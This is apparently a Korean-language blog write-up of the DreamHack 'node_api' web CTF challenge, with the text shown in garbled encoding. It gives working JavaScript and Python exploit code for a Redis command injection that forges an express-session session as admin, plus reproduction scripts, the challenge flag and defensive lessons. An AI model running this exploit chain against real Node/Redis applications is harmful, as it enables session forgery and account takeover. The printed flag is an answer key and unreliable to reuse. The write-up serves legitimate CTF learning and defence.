const v = await fetch(g(k)).then(r => r.text());
if (v.includes('"userid":"ADMIN"')) { location.href = g(k); return; }
}
});![ํด๋ฆญํ์ฌ ํ๋ ์ฃผ์
ํ GET ์ผ๋ก ๋ด ์ธ์
๊ฐ์ ์ฝ์ด ์จ ๋ธ๋ผ์ฐ์ ํ๋ฉด. ์ฃผ์์ฐฝ์ log_query[0]=get ๊ณผ sess%3A ๋ก ์์ํ๋ ์ธ์
ํค๊ฐ ๋ณด์ด๊ณ , ๋ณธ๋ฌธ์๋ cookie ๊ฐ์ฒด์ userid ADMIN ์ด ๋ด๊ธด JSON ์ด ๊ทธ๋๋ก ์ถ๋ ฅ๋ผ ์ธ์
๋ฐ์ดํฐ๊ฐ ํ๋ฌธ์ผ๋ก ์ ์ฅ๋ผ ์์์ ๋ณด์ฌ์ค๋ค](/_next/image?url=%2Fimages%2Fblog%2Fdreamhack-node-api-writeup%2F09_session_before.png&w=3840&q=75)
{"cookie":{"originalMaxAge":null,"expires":null,"httpOnly":true,"path":"/"},"userid":"ADMIN"}์ํธํ๋ ์๊ณ ๋ฌด๊ฒฐ์ฑ ๊ฒ์ฌ๋ ์๋ค. ๊ทธ๋ฅ JSON ๋ฌธ์์ด์ด๋ค. userid ๋ง ์๋ฌธ์๋ก ๋ฐ๊ฟ SET ํ๋ฉด ๋์ด๋ค.
์ฌ๊ธฐ์ ํ ๊ฐ์ง ๋์น๋ฉด ์ ๋๋ ๊ฒ ์๋ค. cookie ํ๋๋ฅผ ๋นผ๋ฉด ์ ๋๋ค. express-session ์ store ์์ ์ธ์
์ ์ฝ์ ๋ค Store.prototype.createSession ์์ sess.cookie.expires ๋ฅผ ๋จผ์ ์ฝ๋๋ฐ, cookie ๊ฐ ์์ผ๋ฉด ๊ฑฐ๊ธฐ์ TypeError ๊ฐ ๋๋ฉด์ ์์ฒญ์ด 500 ์ผ๋ก ์ฃฝ๋๋ค. ์์กฐ ๊ฐ์ cookie ๊ฐ์ฒด๋ฅผ ๊ทธ๋๋ก ์ค์ด ์ฃผ๋ ์ด์ ๋ค.
// ์ง๊ธ ์ฃผ์์ฐฝ์ ์๋ ๊ทธ ํค๋ฅผ userid:admin ์ผ๋ก ๋ฎ์ด์ด๋ค
const key = new URLSearchParams(location.search).get('log_query[1][0]');
const sess = {cookie: {originalMaxAge: null, expires: null, httpOnly: true, path: '/'},
userid: 'admin'};
location.href = '/show_logs?log_query[0]=set'
+ '&log_query[1][0]=' + encodeURIComponent(key)
+ '&log_query[1][1]=' + encodeURIComponent(JSON.stringify(sess));![ํด๋ฆญํ์ฌ ํ๋ ์ธ์
๊ฐ์ SET ์ผ๋ก ๋ฎ์ด์ด ์งํ์ ๋ธ๋ผ์ฐ์ ํ๋ฉด. ์ฃผ์์ฐฝ์ log_query[0]=set ๊ณผ sess%3A ๋ก ์์ํ๋ ํค๊ฐ ๋ณด์ด๊ณ ๋ณธ๋ฌธ์๋ Redis ๊ฐ ๋๋ ค์ค OK ํ ์ค๋ง ์ถ๋ ฅ๋ผ ์ฐ๊ธฐ๊ฐ ์ฑ๊ณตํ์์ ์๋ ค์ค๋ค](/_next/image?url=%2Fimages%2Fblog%2Fdreamhack-node-api-writeup%2F10_set_forged.png&w=3840&q=75)
OK. Redis ๊ฐ ๊ฐ์ ๋ฐ์๋ค๋ ๋ป์ด๋ค. ์ฟ ํค๋ ์ฒ์ ๋ฐ์ ๊ทธ๋๋ก ๋๊ณ /flag ๋ก ๊ฐ๋ค.
http://host3.dreamhack.games:13788/flag
์ฟ ํค ์๋ช ์ ๋จ ํ ๋ฒ๋ ๊ฑด๋๋ฆฌ์ง ์์๋ค. ์๋ฒ๊ฐ ๋ด sid ๋ก store ๋ฅผ ์ฝ์๊ณ , ๊ทธ ์๋ฆฌ์ ์ฐ๋ฆฌ๊ฐ ์จ ๋ ๊ฐ์ด ์์์ ๋ฟ์ด๋ค.
๐ Full Exploit
๋ธ๋ผ์ฐ์ ์์ ์์ผ๋ก ํ๋ ๊ฑธ ๊ทธ๋๋ก ์คํฌ๋ฆฝํธ๋ก ์ฎ๊ฒผ๋ค. ์ธ์ ๋ฐ๊ธ๋ถํฐ ํ๋๊ทธ๊น์ง ํ ๋ฒ์ ๋๋ค.
#!/usr/bin/env python3
"""node_api (DreamHack, Gold 1 / web) โ Redis ๋ช
๋ น์ด ์ฃผ์
์ผ๋ก ์ธ์
์์กฐ
/show_logs ๋ req.query.log_query ์ .split('/') ์ ๊ฑด๋ค. ์ฟผ๋ฆฌ์คํธ๋ง์ ๋ฐฐ์ด๋ก ๋ณด๋ด๋ฉด
Array ์๋ split ์ด ์์ด TypeError ๊ฐ ๋๊ณ , ๊ทธ ์์ธ๋ฅผ ๋ณธ๋ฌธ์ด ๋น catch ๊ฐ ์ผํจ๋ค.
๊ทธ๋์ ์ ๊ทํ(์ฒซ ํ ํฐ์ 'get' ์ผ๋ก ๊ณ ์ )๋ฅผ ํต์งธ๋ก ๊ฑด๋๋ด ์ฑ ์๋ณธ ๋ฐฐ์ด์ด ๊ทธ๋๋ก
redis_client.send_command(log_query[0], log_query[1]) ๋ก ํ๋ฌ๊ฐ๋ค โ ์์ Redis ๋ช
๋ น.
์ธ์
์ ์ฅ์๊ฐ ๊ทธ Redis ๋ผ์, ๋ด ์ธ์
ํค sess:<sid> ์ ๊ฐ์ SET ์ผ๋ก ๋ฎ์ด์ฐ๋ฉด
userid ๋ฅผ "admin" ์ผ๋ก ๋ฐ๊ฟ ์ ์๋ค. /flag ๋ req.session.userid === "admin" ๋ง ๋ณธ๋ค.
"""
import json
import re
import sys
from urllib.parse import quote, unquote
import requests
BASE = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else 'http://127.0.0.1:18000'
s = requests.Session()
# 1) ์ธ์
๋ฐ๊ธ โ saveUninitialized ๊ธฐ๋ณธ๊ฐ์ด true ๋ผ ์ฒซ ์์ฒญ๋ง์ผ๋ก sess:<sid> ๊ฐ Redis ์ ์๊ธด๋ค
r = s.get(f'{BASE}/')
raw = s.cookies.get('connect.sid')
print(f'[1] connect.sid = {raw}')
# ์ฟ ํค ํ์์ s:<sid>.<HMAC-SHA256 ์๋ช
>. ์๋ช
์ ๊ทธ๋๋ก ๋๊ณ sid ๋ง ๋ฝ๋๋ค
sid = unquote(raw)
assert sid.startswith('s:'), sid
sid = sid[2:].split('.', 1)[0]
print(f'[2] sid = {sid}')
# 2) ์ ์ฅ์์ ์ค์ ๋ก ๊ทธ ํค๊ฐ ์๋์ง KEYS ๋ก ํ์ธ (๋ช
๋ น์ด ์ฃผ์
์์ฒด์ ์ฆ๊ฑฐ)
keys = s.get(f'{BASE}/show_logs', params={'log_query[0]': 'keys', 'log_query[1][0]': '*'}).text
print(f'[3] KEYS * = {keys}')
# 3) ์ธ์
๊ฐ ์์กฐ. cookie ํ๋๋ ํ์ โ express-session ์ createSession ์ด
# sess.cookie.expires ๋ฅผ ๋จผ์ ์ฝ์ด์, ์์ผ๋ฉด TypeError ๋ก ์ฃฝ๋๋ค
forged = {
"cookie": {"originalMaxAge": None, "expires": None, "httpOnly": True, "path": "/"},
"userid": "admin",
}
payload = json.dumps(forged, separators=(',', ':'))
url = (f'{BASE}/show_logs?log_query[0]=set'
f'&log_query[1][0]={quote("sess:" + sid, safe="")}'
f'&log_query[1][1]={quote(payload, safe="")}')
print(f'[4] SET ์๋ต = {s.get(url).text}')
# 4) ์์กฐ๋ ๊ฐ์ด ๋ค์ด๊ฐ๋์ง GET ์ผ๋ก ๋์ฝ๋๋ค
back = s.get(f'{BASE}/show_logs',
params={'log_query[0]': 'get', 'log_query[1][0]': f'sess:{sid}'}).text
print(f'[5] GET sess:sid = {back}')
# 5) ์๋ช
์ ๊ฑด๋๋ฆฌ์ง ์์์ผ๋ ์๋ ์ฟ ํค ๊ทธ๋๋ก /flag ๋ก
flag = s.get(f'{BASE}/flag').text
print(f'[6] /flag = {flag}')
m = re.search(r'DH\{[^}]*\}', flag)
print('\nFLAG:', m.group(0) if m else '(ํ๋๊ทธ ํ์ ์์ โ ์ ์๋ต ํ์ธ)')๋จผ์ ๋ก์ปฌ ์ปจํ
์ด๋์ ๋ถ์ฌ ์ฒด์ธ์ ํ์ธํ๋ค. flag.txt ์๋ ๋๋ฏธ๋ฅผ ์ฌ์ด ๋๋ค.
python3 solve.py http://127.0.0.1:18000
๊ฐ์ ์คํฌ๋ฆฝํธ๋ฅผ ๋ผ์ด๋ธ ์๋ฒ๋ก ๋๋ฆฐ๋ค.
python3 solve.py http://host3.dreamhack.games:13788
DH{c5adc4033f8b685d84d56423082f21ac}.
๐งช ๋ก์ปฌ ์ฌํ ํ๊ฒฝ
๋ผ์ด๋ธ ์๋ฒ์ ๋ถ๊ธฐ ์ ์ ๋ก์ปฌ์์ ๋จผ์ ๋ค ๋ง์ถฐ ๋๊ณ ๊ฐ๋ค. ์ฌํ์ ์ด ๊ฒ๋ค์ ๊ทธ๋๋ก ๋จ๊ธด๋ค.
ํธ์คํธ์ ์ด๋ฏธ Redis(6379)์ ๋ค๋ฅธ ์๋น์ค(8000)๊ฐ ๋ ์์ด์, main.js ๋ฅผ ํ ๊ธ์๋ ๊ณ ์น์ง ์์ผ๋ ค๋ฉด ์ปจํ
์ด๋๋ก ๊ฒฉ๋ฆฌํ๋ ํธ์ด ๋ซ๋ค. redis.createClient() ๊ฐ ์ธ์ ์์ด 127.0.0.1:6379 ๋ฅผ ๋ณด๊ธฐ ๋๋ฌธ์ Redis ๋ ๊ฐ์ ์ปจํ
์ด๋์ ๋ฃ๋๋ค.
FROM node:14-bullseye
RUN apt-get update \
&& apt-get install -y --no-install-recommends redis-server \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
COPY package.json ./
RUN npm install --no-audit --no-fund
COPY main.js ./
RUN printf 'DH{LOCAL_FAKE_FLAG_not_the_real_one}' > flag.txt
EXPOSE 8000
CMD redis-server --daemonize yes --save '' && exec node main.jsdocker build -t node-api-local local/
docker run -d --name node-api-local -p 127.0.0.1:18000:8000 node-api-local๋ ๊ฐ์ง๋ ๋ฏธ๋ฆฌ ์๊ณ ์์ด์ผ ์๊ฐ์ ์ ๋ฒ๋ฆฐ๋ค.
node:14-buster ๋ ์ด์ ์ ๋๋ค. Debian buster ๊ฐ ์์นด์ด๋ธ๋ก ๋์ด๊ฐ์ apt-get update ๊ฐ 404 ๋ก ์ฃฝ๋๋ค. bullseye ๋ก ์ฌ๋ ค์ผ ํ๋ค.
๊ทธ๋ฆฌ๊ณ package.json ์ ์์กด์ฑ์ด ์ ๋ถ ์บ๋ฟ(^) ๋ฒ์๋ผ, npm install ์ 2020๋
๋ฐฐํฌ๋ณธ์ด ์๋๋ผ ๊ทธ ๋ฒ์์ ์ต์ ํจ์น ๋ฒ์ ์ ๊น๋ค. ์ค์ ๋ก express 4.22.2 ยท express-session 1.19.0 ์ด ๋ค์ด์๋ค(์ ยง๋ฐฐ๊ฒฝ์ ์บก์ณ ์ฐธ๊ณ ). ์ทจ์ฝ์ ์ ์ฑ๊ฒฉ์ ๊ฒฐ๊ณผ๋ ๊ฐ์ง๋ง, ๋ก์ปฌ์์ ๋๋ ๊ฒ ๊ณง ์๊ฒฉ์์ ๋๋ค๋ ๋ณด์ฅ์ ์๋๋ค. ๊ทธ๋์ ๋ผ์ด๋ธ ์๋ฒ์์๋ ๊ฐ์ ์คํฌ๋ฆฝํธ๋ก ํ ๋ฒ ๋ ํ์ธํ๋ค.
์ ์ฒด๋ฅผ ํ ๋ฐฉ์ ๋ค์ ๋๋ ค ๋ณด๋ ค๋ฉด reproduce.sh ํ๋๋ฉด ๋๋ค. ์ธ์๊ฐ ์์ผ๋ฉด ๋ก์ปฌ ์ปจํ
์ด๋๋ฅผ ์ธ์ ์ฒด์ธ๋ง ๊ฒ์ฆํ๊ณ , ์๋ฒ ์ฃผ์๋ฅผ ์ฃผ๋ฉด ์ง์ง ํ๋๊ทธ๊น์ง ๋ฐ์ ์ ๋ต๊ณผ ๋์กฐํ๋ค.
#!/usr/bin/env bash
# node_api (DreamHack Gold 1 / web) โ ํ ๋ฐฉ ์ฌํ.
#
# ./reproduce.sh ๋ก์ปฌ ๋์ปค๋ก ์ต์ค ์ฒด์ธ๋ง ์ฌํ (flag ๋ ๋ก์ปฌ ๋๋ฏธ)
# ./reproduce.sh http://hostNโฆ:PORT ๋ผ์ด๋ธ ์๋ฒ๋ก ์ง์ง flag ํ๋ + ์ ๋ต ๋์กฐ
#
# ์ด ๋ฌธ์ ์ flag ๋ ๋ฌธ์ ์๋ฒ ์ปจํ
์ด๋ ์ flag.txt ์๋ง ์๋ค. ์คํ๋ผ์ธ์ผ๋ก ์ง์ง flag ๋ฅผ
# ๋ง๋ค์ด๋ผ ๋ฐฉ๋ฒ์ด ์์ผ๋ฏ๋ก, ์ธ์ ์์ด ๋๋ฆฌ๋ฉด "์ฒด์ธ์ด ์ด์ ์๋ค"๊น์ง๋ง ์ฆ๋ช
ํ๋ค.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
EXPECT='DH{c5adc4033f8b685d84d56423082f21ac}'
if [ $# -ge 1 ]; then
OUT=$(timeout 300 python3 solve.py "$1" 2>&1) || true
echo "$OUT" | tail -8
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
if [ -n "$FLAG" ] && [ "$FLAG" = "$EXPECT" ]; then
echo; echo "โ
PASS $FLAG"; exit 0
fi
echo; echo "โ FAIL (์ป์ ๊ฐ: '${FLAG:-์์}' / ๊ธฐ๋: '$EXPECT')"; exit 1
fi
DUMMY='DH{LOCAL_FAKE_FLAG_not_the_real_one}'
docker build -q -t node-api-local local/ >/dev/null
docker rm -f node-api-local >/dev/null 2>&1 || true
docker run -d --name node-api-local -p 127.0.0.1:18000:8000 node-api-local >/dev/null
trap 'docker rm -f node-api-local >/dev/null 2>&1 || true' EXIT
for _ in $(seq 30); do
curl -sf -o /dev/null http://127.0.0.1:18000/ && break
sleep 1
done
OUT=$(timeout 120 python3 solve.py http://127.0.0.1:18000 2>&1) || true
echo "$OUT" | tail -8
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
if [ "$FLAG" = "$DUMMY" ]; then
echo
echo "โ
์ฒด์ธ ์ฌํ ์ฑ๊ณต โ ์ธ์
์ ์ฅ์๋ฅผ ๋ฎ์ด์จ /flag ๊ฐ ์ด๋ ธ๋ค."
exit 0
fi
echo; echo "โ FAIL (๋ก์ปฌ ์ฒด์ธ์ด ๊นจ์ก๋ค. ์ป์ ๊ฐ: '${FLAG:-์์}')"; exit 1๐ ๊ฒฐ๋ก
์์ธ๋ฅผ ์ผํค๋ฉด ๊ฒ์ฆ๋ ๊ฐ์ด ์ฌ๋ผ์ง๋ค
์ด ๋ฌธ์ ์ ์ทจ์ฝ์ ์ ํ์ฉ๋ชฉ๋ก์ ๋
ผ๋ฆฌ๊ฐ ์๋๋ผ ๊ทธ๊ฒ์ด ๋์ธ ์์น๋ค. if (log_query[0] != 'get') ์์ฒด๋ ๋ฉ์ฉกํ๋ค. ๋ค๋ง ๊ทธ ์ธ ์ค์ด try ์์ ์๊ณ , ์์ค์์ ์์ธ๊ฐ ๋๋ฉด ํต์งธ๋ก ๊ฑด๋๋ฐ์ด์ง๋ค.
catch ๊ฐ ๋น์ด ์์ด์ ์๋ฌด๋ ์์์ฑ์ง ๋ชปํ๋ค. Error(403) ์ ์ฃผ์์ผ๋ก๋ง ๋จ์ ์๋ค.
๊ฒ์ฆ ์ฝ๋๋ฅผ try ์์ ๋ฃ์ ๊ฑฐ๋ผ๋ฉด catch ๋ ๋ฐ๋์ ์์ฒญ์ ๊ฑฐ์ ํด์ผ ํ๋ค. ๋ก๊ทธ๋ง ๋จ๊ธฐ๊ณ ๋์ด๊ฐ๋ ๊ฒ๋ ๊ฐ์ ์ค์๋ค. ํต๊ณผํ ์ ์๋ ์์ฒญ์ ํต๊ณผ์ํค๋ ๊ฒ๋ณด๋ค๋ 500 ์ด ๋ซ๋ค.
ํ์ ๊ฒ์ฌ๋ ๊ฐ ๊ฒ์ฌ๋ณด๋ค ๋จผ์ ๋ค
log_query.split('/') ์ ์
๋ ฅ์ด ๋ฌธ์์ด์ด๋ผ๋ ๊ฑธ ์ ์ ํ๋ค. ๊ทธ๋ฐ๋ฐ express ์ ๊ธฐ๋ณธ ์ฟผ๋ฆฌ ํ์๋ ๊ฐ์ ํ๋ผ๋ฏธํฐ๋ฅผ ๋ฌธ์์ด๋ก๋, ๋ฐฐ์ด๋ก๋, ๊ฐ์ฒด๋ก๋ ๋ง๋ค์ด ์ค๋ค. Node ์น ์ทจ์ฝ์ ์ ์๋น์๊ฐ ์ฌ๊ธฐ์ ์์ํ๋ค.
typeof log_query !== 'string' ํ ์ค์ด๋ฉด ์ด ๋ฌธ์ ๋ ์๋ค. ๋ผ์ด๋ธ๋ฌ๋ฆฌ๊ฐ ์ด๋ค ํ์
์ ๋๋ ค์ค ์ ์๋์ง ์๊ณ ์ฐ๋ ๊ฒ๊ณผ, ๋ฌธ์์ด์ด๊ฒ ๊ฑฐ๋ ํ๊ณ ์ฐ๋ ๊ฒ์ ์ฐจ์ด๋ค.
์ธ์ ์ ์ฅ์๋ ์ ๋ขฐ ๊ฒฝ๊ณ ์์ชฝ์ด๋ค
์ธ์ ์ฟ ํค์ ์๋ช ์ ๊ฑธ์ด ๋๋ฉด ์์ ํ๋ค๊ณ ์๊ฐํ๊ธฐ ์ฝ๋ค. ๊ทธ๋ฐ๋ฐ ์๋ช ์ ์ธ์ ID ๋ฅผ ์งํฌ ๋ฟ, ์ ์ฅ์์ ์๋ ์ธ์ ๊ฐ์ ์งํค์ง ์๋๋ค. ์ ์ฅ์์ ์ธ ์ ์๋ ๊ตฌ๋ฉ์ด ํ๋๋ผ๋ ์์ผ๋ฉด ์๋ช ์ ๋ฌด์๋ฏธํ๋ค.
์ฌ๊ธฐ์๋ ์ ํ๋ฆฌ์ผ์ด์
๊ณผ ์ธ์
์ ์ฅ์๊ฐ ๊ฐ์ Redis ์ธ์คํด์ค๋ฅผ ๊ณต์ ํ ๊ฒ์ด ๊ฒฐ์ ํ์๋ค. ๋ก๊ทธ ์กฐํ ๊ธฐ๋ฅ์ ๋ถ์ ๊ตฌ๋ฉ ํ๋๊ฐ ์ธ์ฆ ์ ์ฒด๋ฅผ ๋ฌด๋๋จ๋ ธ๋ค. ์ฉ๋๊ฐ ๋ค๋ฅธ ๋ฐ์ดํฐ๋ DB ๋ฒํธ๋ผ๋ ๋ถ๋ฆฌํ๊ณ , ์ ํ๋ฆฌ์ผ์ด์
์ด store ์ ๋์ด(sess:)๋ก ์์ํ๋ ํค๋ฅผ ๊ฑด๋๋ฆด ์ ์๊ฒ ๋ง์ ๋๋ ํธ์ด ๋ซ๋ค.
์ ์์ค API ์์ ์ฌ์ฉ์ ์ ๋ ฅ์ ์น์ง ์๋๋ค
send_command ๋ ๋ช
๋ น ์ด๋ฆ์ ๋ฌธ์์ด๋ก ๋ฐ๋๋ค. ๊ทธ ์๋ฆฌ์ ์ฌ์ฉ์ ์
๋ ฅ์ด ๋ฟ๋ ์๊ฐ, ๋ฐฉ์ด์ ์ "๋ช
๋ น ์ด๋ฆ ํํฐ" ํ๋๋ฟ์ด ๋๋ค. ํํฐ๋ ์ธ์ ๊ฐ ๋ซ๋ฆฐ๋ค.
์ฝ๊ธฐ๋ง ํ์ํ๋ค๋ฉด redis_client.get(key, cb) ๋ฅผ ์ฐ๋ฉด ๋๋ค. ๋ช
๋ น ์ด๋ฆ์ด ์ฝ๋์ ๊ณ ์ ๋๋ ์ ์ด์ ์ฐํํ ๋์์ด ์๋ค. ํํฐ๋ฅผ ์ ๋ง๋๋ ๊ฒ๋ณด๋ค, ํํฐ๊ฐ ํ์ ์๋ API ๋ฅผ ๊ณ ๋ฅด๋ ๊ฒ ๋ซ๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ